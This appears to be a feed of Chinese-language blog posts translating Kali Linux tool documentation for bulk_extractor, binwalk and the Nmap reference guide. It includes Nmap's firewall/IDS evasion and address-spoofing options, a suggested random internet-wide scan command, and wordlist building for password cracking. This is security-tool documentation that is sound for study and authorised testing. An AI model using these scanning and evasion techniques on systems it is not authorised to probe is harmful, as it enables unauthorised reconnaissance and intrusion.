-S name = value - 将批量提取器选项名称设置为值
可设置选项(及其默认值):
-S work_start_work_end = YES 在report.xml文件中记录每个扫描器的工作开始和结束时间
-S enable_histograms = YES 禁用生成直方图
-S debug_histogram_malloc_fail_frequency = 0 设置大于零记录内存分配失败直方图
-S hash_alg = md5 指定用于所有哈希计算的哈希算法
-S dup_data_alerts =NO 重复数据未处理时通知
-S write_feature_files = YES 写入特征文件
-S write_feature_sqlite3 = NO 将特征文件写入report.sqlite3
-S report_read_errors = YES 报告读取错误
-S carve_net_memory = NO 提取网络内存结构(net)
-S word_min = 6 最小字大小(wordlist)
-S word_max = 14 最大字大小(wordlist)
-S max_word_outfile_size = 100000000 输出文件的最大大小(wordlist)
-S wordlist_use_flatfiles = YES 覆盖SQL设置并对wordlist(wordlist)使用flatfiles
-S ssn_mode = 0 0=正常格式; 1=不需要SSN; 2=去掉破折号(accts)
-S min_phone_digits = 7 手机所需的数字(accts)
-S exif_debug = 0 读取exif信息(exif)
-S jpeg_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(exif)
-S min_jpeg_size = 1000 将被雕刻的最小的JPEG流(exif)
-S zip_min_uncompr_size = 6 ZIP未压缩对象的最小大小(zip)
-S zip_max_uncompr_size = 268435456 ZIP未压缩对象的最大大小(zip)
-S zip_name_len_max = 1024 ZIP组件的最大名称filename(zip)
-S unzip_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(zip)
-S rar_find_components = YES 搜索RAR组件(rar)
-S rar_find_volumes = YES 搜索RAR卷(rar)
-S unrar_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(rar)
-S gzip_max_uncompr_size = 268435456 解压缩GZIP对象的最大大小(gzip)
-S pdf_dump = NO 转储PDF缓冲区的内容(pdf)
-S pdf_dump = NO 转储PDF缓冲区的内容(msxml)
-S winpe_carve_mode = 1 0=不提取; 1=雕刻编码提取; 2=全部提取(winpe)
-S opt_weird_file_size = 157286400 FAT32扫描(windir)的阈值
-S opt_weird_file_size2 = 536870912 FAT32扫描(windir)的阈值
-S opt_weird_cluster_count = 67108864 FAT32扫描(windir)的阈值
-S opt_weird_cluster_count2 = 268435456 FAT32扫描(windir)的阈值
-S opt_max_bits_in_attrib = 3 忽略更多属性设置的FAT32条目(windirs)
-S opt_max_weird_count = 2 忽略奇怪的FAT32条目(windirs)
-S opt_last_year = 2022 忽略晚于此FAT32条目(windirs)
-S xor_mask = 255 设置XOR掩码值,十进制格式(xor)
-S sqlite_carve_mode = 2 0=不提取; 1=雕刻编码提取; 2=全部提取(sqlite)
以下扫描默认禁用;启用使用-e命令:
-e base16 - 启用扫描base16
-e facebook - 启用扫描facebook
-e outlook - 启用扫描outlook
-e sceadan - 启用扫描sceadan
-e wordlist - 启用扫描wordlist
-e xor - 启用扫描xor
以下扫描默认启用;禁用使用-x命令:
-x accts - 禁用扫描程序
-x aes - 禁用扫描aes
-x base64 - 禁用扫描base64
-x elf - 禁用扫描elf
-x mail - 禁用扫描邮件
-x exif - 禁用扫描exif
-x find - 禁用扫描发现
-x gps - 禁用扫描gps
-x gzip - 禁用扫描gzip
-x hiberfile- 禁用扫描hiberfile
-x httplogs - 禁用扫描httplogs
-x json - 禁用扫描json
-x kml - 禁用扫描kml
-x msxml - 禁用扫描msxml
-x net - 禁用扫描net
-x pdf - 禁用扫描pdf
-x rar - 禁用扫描rar
-x sqlite - 禁用扫描sqlite
-x vcard - 禁用扫描vcard
-x windirs - 禁用扫描windirs
-x winlnk - 禁用扫描winlnk
-x winpe - 禁用扫描winpe
-x zip - 禁用扫描zip
-x winprefetch - 禁用扫描winprefetch

0x02 示例

分析映像文件后,将结果导出到输出目录(-o bulk-out)(xp-laptop-2005-07-04-1430.img):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
root@kali:~# bulk_extractor -o bulk-out xp-laptop-2005-07-04-1430.img
bulk_extractor version 1.6.0-dev
Hostname: kali
Input file: xp-laptop-2005-07-04-1430.img
Output directory: bulk-out
Disk Size: 536715264
Threads: 1
Phase 1.
13:02:46 Offset 0MB (0.00%) Done in n/a at 13:02:45
13:03:39 Offset 67MB (12.50%) Done in 0:06:14 at 13:09:53
13:04:43 Offset 134MB (25.01%) Done in 0:05:50 at 13:10:33
13:04:55 Offset 201MB (37.51%) Done in 0:03:36 at 13:08:31
13:06:01 Offset 268MB (50.01%) Done in 0:03:15 at 13:09:16
13:06:48 Offset 335MB (62.52%) Done in 0:02:25 at 13:09:13
13:07:04 Offset 402MB (75.02%) Done in 0:01:25 at 13:08:29
13:07:20 Offset 469MB (87.53%) Done in 0:00:39 at 13:07:59
All Data is Read; waiting for threads to finish...
Time elapsed waiting for 1 thread to finish:
(please wait for another 60 min .)
Time elapsed waiting for 1 thread to finish:
6 sec (please wait for another 59 min 54 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
12 sec (please wait for another 59 min 48 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
18 sec (please wait for another 59 min 42 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
24 sec (please wait for another 59 min 36 sec.)
Thread 0: Processing 520093696
Time elapsed waiting for 1 thread to finish:
30 sec (please wait for another 59 min 30 sec.)
Thread 0: Processing 520093696
All Threads Finished!
Producer time spent waiting: 335.984 sec.
Average consumer time spent waiting: 0.143353 sec.
*******************************************
** bulk_extractor is probably CPU bound. **
** Run on a computer with more cores **
** to get better performance. **
*******************************************
Phase 2. Shutting down scanners
Phase 3. Creating Histograms
ccn histogram... ccn_track2 histogram... domain histogram...
email histogram... ether histogram... find histogram...
ip histogram... tcp histogram... telephone histogram...
url histogram... url microsoft-live... url services...
url facebook-address... url facebook-id... url searches...
Elapsed time: 378.5 sec.
Overall performance: 1.418 MBytes/sec.
Total email features found: 899

]]>
#0X00-介绍0X00 介绍 bulk_extractor是从数字证据文件中提取诸如电子邮件地址,信用卡号,URL和其他类型的信息的功能的程序。 它是一个有用的取证调查工具,可以用于许多任务,如恶意软件和入侵调查,身份调查和网络调查,以及图像分析和密码破解。 该程序提供了几个不寻常的功能: 1.发现其他工具发现不了的信息,如电子邮件地址,URL和信用卡号码,得益于它能处理压缩数据(如ZIP,PDF和GZIP文件)以及不完整或部分损坏的数据。 它可以从压缩数据的片段中提取JPEG文件,办公文档和其他类型的文件 ,还可以自动检测并提取加密的RAR文件。 2.根据数据中发现的所有单词构建单词列表,甚至可以是在未分配空间的压缩文件中的数据。 这些单词列表可用于密码破解。 3.多线程的; 速度快节约时间 4.分析完之后创建直方图,显示电子邮件地址,URL,域名,搜索关键词和其他类型的信息。 bulk_extractor可以对磁盘映像,文件或文件目录进行分析,并在不分析文件系统或文件系统结构的情况下提取有用的信息。 输入被分割成页面并由一个或多个扫描器处理。 结果存储在特征文件中,可以使用其他自动化工具轻松检查,解析或处理。 bulk_extractor还创建了它所发现的特征的直方图。 这样非常有用,因为诸如电子邮件地址和网络搜索关键词的功能往往很常见且重要。 除了上述功能之外,bulk_extractor还包括以下功能: 5.具有浏览特征文件中存储的功能以及启动bulk_extractor扫描的图形用户界面的Bulk Extractor Viewer 6.少量用于对特征文件进行额外分析的python程序
Kali Linux取证分析之Binwalk https://hackfun.org/2017/09/07/Kali-Linux取证分析之Binwalk/ 2017-09-06T23:15:00.000Z 2017-10-02T19:22:31.968Z 0x00 Binwalk介绍

Binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。 具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。 Binwalk使用libmagic库,因此它与Unix文件实用程序创建的魔数签名兼容。 Binwalk还包括一个自定义魔数签名文件,其中包含常见的诸如压缩/存档文件,固件头,Linux内核,引导加载程序,文件系统等的固件映像中常见文件的改进魔数签名。

主页 | 仓库

  • 作者:Craig Heffner
  • 证书:MIT

0x01 功能

一个固件分析工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
root@kali:~# binwalk -h
Binwalk v2.1.1
Craig Heffner,http://www.binwalk.org
用法:binwalk [选项] [文件1] [文件2] [文件3] ...
扫描选项:
-B,-- signature 扫描目标文件的常见文件签名
-R,--raw = <str> 扫描目标文件的指定字符序列
-A,--opcodes 扫描目标文件中常见可执行代码
-m,--magic = <file> 指定要使用的自定义魔数签名文件
-b,--dumb 禁用智能签名关键字
-I,--invalid 显示结果标记为无效
-x,--exclude = <str> 排除与<str>匹配的结果
-y,--include = <str> 只显示匹配<str>的结果
提取选项:
-e,--extract 自动提取已知的文件类型
-D,--dd = <type:ext:cmd> 提取<type>签名,为文件扩展名为<ext>,然后执行<cmd>
-M,--matryoshka 递归扫描提取的文件
-d,--depth = <int> 限制matryoshka递归深度(默认值:8级深)
-C,--directory = <str> 将文件/文件夹提取到自定义目录(默认值:当前工作目录)
-j,--size = <int> 限制每个提取的文件的大小
-n,--count = <int> 限制提取文件的数量
-r,--rm 提取后删除刻录文件
-z,--carve 从文件中读取数据,但不执行提取实用程序
熵分析选项:
-E,--entropy 计算文件熵
-F,--fast 计算更快,但不太详细的熵分析
-J,--save 将熵图保存为PNG图像
-Q,--nlegend 从熵图图中省略图例
-N,--nplot 不生成熵图
-H,--high = <float> 设置上升沿熵触发阈值(默认值:0.95)
-L,--low = <float> 设置下降沿熵触发阈值(默认值:0.85)
原始压缩选项:
-X, --deflate 扫描原始deflate压缩流
-Z, --lzma 扫描原始LZMA压缩流
-P, --partial 浅度扫描,速度更快
-S, --stop 找到第一个结果后停止扫描
二进制差异选项:
-W,--hexdump 执行文件或文件的hexdump/diff
-G,--green 只显示包含所有文件中相同字节的行
-i,--red 仅显示包含所有文件中不同字节的行
-U,--blue 只显示一些文件中包含不同字节的行
-w,--terse 只显示第一个文件的十六进制转储
一般选项:
-l,--length = <int> 要扫描的字节数
-o,--offset = <int> 以此偏移开始扫描
-O,--base = <int> 向所有打印的偏移量添加基址
-K,--block = <int> 设置文件块大小
-g,--swap = <int> 扫描前每n个字节反转一次
-f,--log = <file> 将结果记录到文件
-c,--csv 将结果记录到CSV格式的文件中
-t,--term 格式化输出以适合终端窗口
-q,--quiet 禁止输出
-v,--verbose 详细输出
-h,--help 显示帮助
-a,--finclude = <str> 只扫描名称与此正则表达式匹配的文件
-p,--fexclude = <str> 不扫描名称与此正则表达式匹配的文件
-s,--status = <int> 启用指定端口上的状态服务器

0x02 用法示例

在给定的固件文件(dd-wrt.v24-13064_VINT_mini.bin)上运行文件签名扫描(-B):

1
2
3
4
5
6
7
8
root@kali:~# binwalk -B dd-wrt.v24-13064_VINT_mini.bin
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
0 0x0 TRX firmware header, little endian, header size: 28 bytes, image size: 2945024 bytes, CRC32: 0x4D27FDC4 flags: 0x0, version: 1
28 0x1C gzip compressed data, from Unix, NULL date: Wed Dec 31 19:00:00 1969, max compression
2472 0x9A8 LZMA compressed data, properties: 0x6E, dictionary size: 2097152 bytes, uncompressed size: 2084864 bytes
622592 0x98000 Squashfs filesystem, little endian, DD-WRT signature, version 3.0, size: 2320835 bytes, 547 inodes, blocksize: 131072 bytes, created: Mon Nov 2 07:24:06 2009
]]>
#0X00-BINWALK介绍0X00 BINWALK介绍 Binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。 具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。 Binwalk使用libmagic库,因此它与Unix文件实用程序创建的魔数签名兼容。 Binwalk还包括一个自定义魔数签名文件,其中包含常见的诸如压缩/存档文件,固件头,Linux内核,引导加载程序,文件系统等的固件映像中常见文件的改进魔数签名。
Nmap参考指南 https://hackfun.org/2017/04/24/Nmap参考指南/ 2017-04-24T08:59:00.000Z 2017-10-02T20:10:15.633Z 项目地址:Nmap-Reference-Guide

目录

译注

该Nmap参考指南中文版由Fei YangLei Li英文版本翻译而来。 我们希望这将使全世界使用中文的人们更了解Nmap,但我们不能保证该译本和官方的 英文版本一样完整,也不能保证同步更新。 它可以在Creative Commons Attribution License许可证下被修改并重新发布。

名称

nmap — 网络探测工具和安全/端口扫描器

命令

nmap [ <扫描类型> …] [ <选项> ] { <扫描目标说明> }

描述

注意:本文档描述了Nmap版本4.50。最新文档以英语 https://nmap.org/book/man.html提供。

Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。

Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。 “所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是 open(开放的),filtered(被过滤的), closed(关闭的),或者unfiltered(未被过滤的)。 Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。 filtered(被过滤的) 意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知 它是 open(开放的) 还是 closed(关闭的)。 closed(关闭的) 端口没有应用程序在它上面监听,但是他们随时可能开放。 当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是 unfiltered(未被过滤的) 如果Nmap报告状态组合 open|filtered 和 closed|filtered时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。 当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时 (-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。

除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

一个典型的Nmap扫描如例 1 “一个典型的Nmap扫描”所示。在这个例子中,唯一的选项是-A, 用来进行操作系统及其版本的探测,-T4 可以加快执行速度,接着是两个目标主机名。

例 1. 一个典型的Nmap扫描

# nmap -A -T4 scanme.nmap.orgNmap scan report for scanme.nmap.org (74.207.244.221)Host is up (0.029s latency).rDNS record for 74.207.244.221: li86-221.members.linode.comNot shown: 995 closed portsPORT     STATE    SERVICE     VERSION22/tcp   open     ssh         OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)80/tcp   open     http        Apache httpd 2.2.14 ((Ubuntu))|_http-title: Go ahead and ScanMe!646/tcp  filtered ldp1720/tcp filtered H.323/Q.9319929/tcp open     nping-echo  Nping echoDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6.39OS details: Linux 2.6.39Network Distance: 11 hopsService Info: OS: Linux; CPE: cpe:/o:linux:kernelTRACEROUTE (using port 53/tcp)HOP RTT      ADDRESS[Cut first 10 hops for brevity]11  17.65 ms li86-221.members.linode.com (74.207.244.221)Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds

选项概要

当 Nmap 不带选项运行时,该选项概要会被输出,最新的版本在这里 http://www.insecure.org/nmap/data/nmap.usage.txt。它帮助人们记住最常用的选项,但不 能替代本手册其余深入的文档,一些晦涩的选项甚至不在这里。

Usage: nmap [Scan Type(s)] [Options] {target specification}TARGET SPECIFICATION:    Can pass hostnames, IP addresses, networks, etc.    Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0-255.0-255.1-254    -iL <inputfilename>: Input from list of hosts/networks    -iR <num hosts>: Choose random targets    --exclude <host1[,host2][,host3],...>: Exclude hosts/networks    --excludefile <exclude_file>: Exclude list from fileHOST DISCOVERY:    -sL: List Scan - simply list targets to scan    -sP: Ping Scan - go no further than determining if host is online    -P0: Treat all hosts as online -- skip host discovery    -PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery probes to given ports    -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes    -n/-R: Never do DNS resolution/Always resolve [default: sometimes resolve]SCAN TECHNIQUES:    -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans    -sN/sF/sX: TCP Null, FIN, and Xmas scans    --scanflags <flags>: Customize TCP scan flags    -sI <zombie host[:probeport]>: Idlescan    -sO: IP protocol scan    -b <ftp relay host>: FTP bounce scanPORT SPECIFICATION AND SCAN ORDER:    -p <port ranges>: Only scan specified ports    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080    -F: Fast - Scan only the ports listed in the nmap-services file)    -r: Scan ports consecutively - don't randomizeSERVICE/VERSION DETECTION:    -sV: Probe open ports to determine service/version info    --version-light: Limit to most likely probes for faster identification    --version-all: Try every single probe for version detection    --version-trace: Show detailed version scan activity (for debugging)OS DETECTION:    -O: Enable OS detection    --osscan-limit: Limit OS detection to promising targets    --osscan-guess: Guess OS more aggressivelyTIMING AND PERFORMANCE:    -T[0-6]: Set timing template (higher is faster)    --min-hostgroup/max-hostgroup <msec>: Parallel host scan group sizes    --min-parallelism/max-parallelism <msec>: Probe parallelization    --min_rtt_timeout/max-rtt-timeout/initial-rtt-timeout <msec>: Specifies probe round trip time.    --host-timeout <msec>: Give up on target after this long    --scan-delay/--max_scan-delay <msec>: Adjust delay between probesFIREWALL/IDS EVASION AND SPOOFING:    -f; --mtu <val>: fragment packets (optionally w/given MTU)    -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys    -S <IP_Address>: Spoof source address    -e <iface>: Use specified interface    -g/--source-port <portnum>: Use given port number    --data-length <num>: Append random data to sent packets    --ttl <val>: Set IP time-to-live field    --spoof-mac <mac address, prefix, or vendor name>: Spoof your MAC addressOUTPUT:    -oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.    -oA <basename>: Output in the three major formats at once    -v: Increase verbosity level (use twice for more effect)    -d[level]: Set or increase debugging level (Up to 9 is meaningful)    --packet-trace: Show all packets sent and received    --iflist: Print host interfaces and routes (for debugging)    --append-output: Append to rather than clobber specified output files    --resume <filename>: Resume an aborted scan    --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML    --no_stylesheet: Prevent Nmap from associating XSL stylesheet w/XML outputMISC:    -6: Enable IPv6 scanning    -A: Enables OS detection and Version detection    --datadir <dirname>: Specify custom Nmap data file location    --send-eth/--send-ip: Send packets using raw ethernet frames or IP packets    --privileged: Assume that the user is fully privileged    -V: Print version number    -h: Print this help summary page.EXAMPLES:    nmap -v -A scanme.nmap.org    nmap -v -sP 192.168.0.0/16 10.0.0.0/8    nmap -v -iR 10000 -P0 -p 80

目标说明

除了选项,所有出现在Nmap命令行上的都被视为对目标主机的说明。 最简单的情况是指定一个目标IP地址或主机名。

有时候您希望扫描整个网络的相邻主机。为此,Nmap支持CIDR风格的地址。您可以附加 一个/在一个IP地址或主机名后面, Nmap将会扫描所有和该参考IP地址具有相同比特的所有IP地址或主机。 例如,192.168.10.0/24将会扫描192.168.10.0 (二进制格式: 11000000 10101000 00001010 00000000)和192.168.10.255 (二进制格式: 11000000 10101000 00001010 11111111)之间的256台主机。 192.168.10.40/24 将会做同样的事情。假设主机 scanme.nmap.org的IP地址是205.217.153.62, scanme.nmap.org/16 将扫描205.217.0.0和205.217.255.255之间的65,536 个IP地址。 所允许的最小值是/1, 这将会扫描半个互联网。最大值是/32,这将会扫描该主机或IP地址, 因为所有的比特都固定了。

CIDR标志位很简洁但有时候不够灵活。例如,您也许想要扫描 192.168.0.0/16,但略过任何以.0或者.255 结束的IP地址,因为它们通常是广播地址。 Nmap通过八位字节地址范围支持这样的扫描 您可以用逗号分开的数字或范围列表为IP地址的每个八位字节指定它的范围。 例如,192.168.0-255.1-254 将略过在该范围内以.0和.255结束的地址。 范围不必限于最后的8位:0-255.0-255.13.37 将在整个互联网范围内扫描所有以13.37结束的地址。 这种大范围的扫描对互联网调查研究也许有用。

IPv6地址只能用规范的IPv6地址或主机名指定。 CIDR 和八位字节范围不支持IPv6,因为它们对于IPv6几乎没什么用。

Nmap命令行接受多个主机说明,它们不必是相同类型。命令nmap scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7.0-255将和您预期的一样执行。

虽然目标通常在命令行指定,下列选项也可用来控制目标的选择:

-iL(从列表中输入)

中读取目标说明。在命令行输入 一堆主机名显得很笨拙,然而经常需要这样。 例如,您的DHCP服务器可能导出10,000个当前租约的列表,而您希望对它们进行 扫描。如果您不是使用未授权的静态IP来定位主机,或许您想要扫描所有IP地址。 只要生成要扫描的主机的列表,用-iL 把文件名作为选项传给Nmap。列表中的项可以是Nmap在 命令行上接受的任何格式(IP地址,主机名,CIDR,IPv6,或者八位字节范围)。 每一项必须以一个或多个空格,制表符或换行符分开。 如果您希望Nmap从标准输入而不是实际文件读取列表, 您可以用一个连字符(-)作为文件名。

-iR(随机选择目标)

对于互联网范围内的调查和研究, 您也许想随机地选择目标。 选项告诉 Nmap生成多少个IP。不合需要的IP如特定的私有,组播或者未分配的地址自动 略过。选项 0 意味着永无休止的扫描。记住,一些网管对于未授权的扫描可能会很感冒并加以抱怨。 使用该选项的后果自负! 如果在某个雨天的下午,您觉得实在无聊, 试试这个命令nmap -sS -PS80 -iR 0 -p 80随机地找一些网站浏览。

–exclude(排除主机/网络)

如果在您指定的扫描范围有一些主机或网络不是您的目标, 那就用该选项加上以逗号分隔的列表排除它们。该列表用正常的Nmap语法, 因此它可以包括主机名,CIDR,八位字节范围等等。 当您希望扫描的网络包含执行关键任务的服务器,已知的对端口扫描反应强烈的 系统或者被其它人看管的子网时,这也许有用。

–excludefile(排除文件中的列表)

这和–exclude 选项的功能一样,只是所排除的目标是用以 换行符,空格,或者制表符分隔的 提供的,而不是在命令行上输入的。

主机发现

任何网络探测任务的最初几个步骤之一就是把一组IP范围(有时该范围是巨大的)缩小为 一列活动的或者您感兴趣的主机。扫描每个IP的每个端口很慢,通常也没必要。当然,什么样的主机令您感兴趣主要依赖于扫描的目的。网管也许只对运行特定服务的 主机感兴趣,而从事安全的人士则可能对一个马桶都感兴趣,只要它有IP地址:-)。一个系统管理员 也许仅仅使用Ping来定位内网上的主机,而一个外部入侵测试人员则可能绞尽脑汁用各种方法试图突破防火墙的封锁。

由于主机发现的需求五花八门,Nmap提供了一箩筐的选项来定制您的需求。 主机发现有时候也叫做ping扫描,但它远远超越用世人皆知的ping工具 发送简单的ICMP回声请求报文。用户完全可以通过使用列表扫描(-sL)或者 通过关闭ping (-P0)跳过ping的步骤,也可以使用多个端口把TCP SYN/ACK,UDP和ICMP 任意组合起来玩一玩。这些探测的目的是获得响应以显示某个IP地址是否是活动的(正在被某 主机或者网络设备使用)。 在许多网络上,在给定的时间,往往只有小部分的IP地址是活动的。 这种情况在基于RFC1918的私有地址空间如10.0.0.0/8尤其普遍。那个网络有16,000,000个IP,但我见过一些使用它的公司连1000台机器都没有。主机发现能够找到零星分布于IP地址海洋上的那些机器。

如果没有给出主机发现的选项,Nmap 就发送一个TCP ACK报文到80端口和一个ICMP回声请求到每台目标机器。 一个例外是ARP扫描用于局域网上的任何目标机器。对于非特权UNIX shell用户,使用connect()系统调用会发送一个SYN报文而不是ACK 这些默认行为和使用-PA -PE选项的效果相同。 扫描局域网时,这种主机发现一般够用了,但是对于安全审核,建议进行 更加全面的探测。

-P选项(用于选择 ping的类型)可以被结合使用。 您可以通过使用不同的TCP端口/标志位和ICMP码发送许多探测报文 来增加穿透防守严密的防火墙的机会。另外要注意的是即使您指定了其它 -P*选项,ARP发现(-PR)对于局域网上的 目标而言是默认行为,因为它总是更快更有效。

下列选项控制主机发现。

-sL (列表扫描)

列表扫描是主机发现的退化形式,它仅仅列出指定网络上的每台主机, 不发送任何报文到目标主机。默认情况下,Nmap仍然对主机进行反向域名解析以获取 它们的名字。简单的主机名能给出的有用信息常常令人惊讶。例如, fw.chi.playboy.com是花花公子芝加哥办公室的 防火墙。Nmap最后还会报告IP地址的总数。列表扫描可以很好的确保您拥有正确的目标IP。 如果主机的域名出乎您的意料,那么就值得进一步检查以防错误地扫描其它组织的网络。

既然只是打印目标主机的列表,像其它一些高级功能如端口扫描,操作系统探测或者Ping扫描 的选项就没有了。如果您希望关闭ping扫描而仍然执行这样的高级功能,请继续阅读关于 -P0选项的介绍。

-sP (Ping扫描)

该选项告诉Nmap仅仅 进行ping扫描 (主机发现),然后打印出对扫描做出响应的那些主机。 没有进一步的测试 (如端口扫描或者操作系统探测)。 这比列表扫描更积极,常常用于 和列表扫描相同的目的。它可以得到些许目标网络的信息而不被特别注意到。 对于攻击者来说,了解多少主机正在运行比列表扫描提供的一列IP和主机名往往更有价值。

系统管理员往往也很喜欢这个选项。 它可以很方便地得出 网络上有多少机器正在运行或者监视服务器是否正常运行。常常有人称它为 地毯式ping,它比ping广播地址更可靠,因为许多主机对广播请求不响应。

-sP选项在默认情况下, 发送一个ICMP回声请求和一个TCP报文到80端口。如果非特权用户执行,就发送一个SYN报文 (用connect()系统调用)到目标机的80端口。 当特权用户扫描局域网上的目标机时,会发送ARP请求(-PR), ,除非使用了–send-ip选项。 -sP选项可以和除-P0)之外的任何发现探测类型-P* 选项结合使用以达到更大的灵活性。 一旦使用了任何探测类型和端口选项,默认的探测(ACK和回应请求)就被覆盖了。 当防守严密的防火墙位于运行Nmap的源主机和目标网络之间时, 推荐使用那些高级选项。否则,当防火墙捕获并丢弃探测包或者响应包时,一些主机就不能被探测到。

-P0 (无ping)

该选项完全跳过Nmap发现阶段。 通常Nmap在进行高强度的扫描时用它确定正在运行的机器。 默认情况下,Nmap只对正在运行的主机进行高强度的探测如 端口扫描,版本探测,或者操作系统探测。用-P0禁止 主机发现会使Nmap对每一个指定的目标IP地址 进行所要求的扫描。所以如果在命令行指定一个B类目标地址空间(/16), 所有 65,536 个IP地址都会被扫描。 -P0的第二个字符是数字0而不是字母O。 和列表扫描一样,跳过正常的主机发现,但不是打印一个目标列表, 而是继续执行所要求的功能,就好像每个IP都是活动的。

-PS [portlist] (TCP SYN Ping)

该选项发送一个设置了SYN标志位的空TCP报文。 默认目的端口为80 (可以通过改变nmap.h) 文件中的DEFAULT-TCP-PROBE-PORT值进行配置,但不同的端口也可以作为选项指定。 甚至可以指定一个以逗号分隔的端口列表(如 -PS22,23,25,80,113,1050,35000), 在这种情况下,每个端口会被并发地扫描。

SYN标志位告诉对方您正试图建立一个连接。 通常目标端口是关闭的,一个RST (复位) 包会发回来。 如果碰巧端口是开放的,目标会进行TCP三步握手的第二步,回应 一个SYN/ACK TCP报文。然后运行Nmap的机器则会扼杀这个正在建立的连接, 发送一个RST而非ACK报文,否则,一个完全的连接将会建立。 RST报文是运行Nmap的机器而不是Nmap本身响应的,因为它对收到 的SYN/ACK感到很意外。

Nmap并不关心端口开放还是关闭。 无论RST还是SYN/ACK响应都告诉Nmap该主机正在运行。

在UNIX机器上,通常只有特权用户 root 能否发送和接收 原始的TCP报文。因此作为一个变通的方法,对于非特权用户, Nmap会为每个目标主机进行系统调用connect(),它也会发送一个SYN 报文来尝试建立连接。如果connect()迅速返回成功或者一个ECONNREFUSED 失败,下面的TCP堆栈一定已经收到了一个SYN/ACK或者RST,该主机将被 标志位为在运行。 如果连接超时了,该主机就标志位为down掉了。这种方法也用于IPv6 连接,因为Nmap目前还不支持原始的IPv6报文。

-PA [portlist] (TCP ACK Ping)

TCP ACK ping和刚才讨论的SYN ping相当类似。 也许您已经猜到了,区别就是设置TCP的ACK标志位而不是SYN标志位。 ACK报文表示确认一个建立连接的尝试,但该连接尚未完全建立。 所以远程主机应该总是回应一个RST报文, 因为它们并没有发出过连接请求到运行Nmap的机器,如果它们正在运行的话。

-PA选项使用和SYN探测相同的默认端口(80),也可以 用相同的格式指定目标端口列表。如果非特权用户尝试该功能, 或者指定的是IPv6目标,前面说过的connect()方法将被使用。 这个方法并不完美,因为它实际上发送的是SYN报文,而不是ACK报文。

提供SYN和ACK两种ping探测的原因是使通过防火墙的机会尽可能大。 许多管理员会配置他们的路由器或者其它简单的防火墙来封锁SYN报文,除非 连接目标是那些公开的服务器像公司网站或者邮件服务器。 这可以阻止其它进入组织的连接,同时也允许用户访问互联网。 这种无状态的方法几乎不占用防火墙/路由器的资源,因而被硬件和软件过滤器 广泛支持。Linux Netfilter/iptables 防火墙软件提供方便的 –syn选项来实现这种无状态的方法。 当这样的无状态防火墙规则存在时,发送到关闭目标端口的SYN ping探测 (-PS) 很可能被封锁。这种情况下,ACK探测格外有闪光点,因为它正好利用了 这样的规则。

另外一种常用的防火墙用有状态的规则来封锁非预期的报文。 这一特性已开始只存在于高端防火墙,但是这些年类它越来越普遍了。 Linux Netfilter/iptables 通过 –state选项支持这一特性,它根据连接状态把报文 进行分类。SYN探测更有可能用于这样的系统,由于没头没脑的ACK报文 通常会被识别成伪造的而丢弃。解决这个两难的方法是通过即指定 -PS又指定-PA来即发送SYN又发送ACK。

-PU [portlist] (UDP Ping)

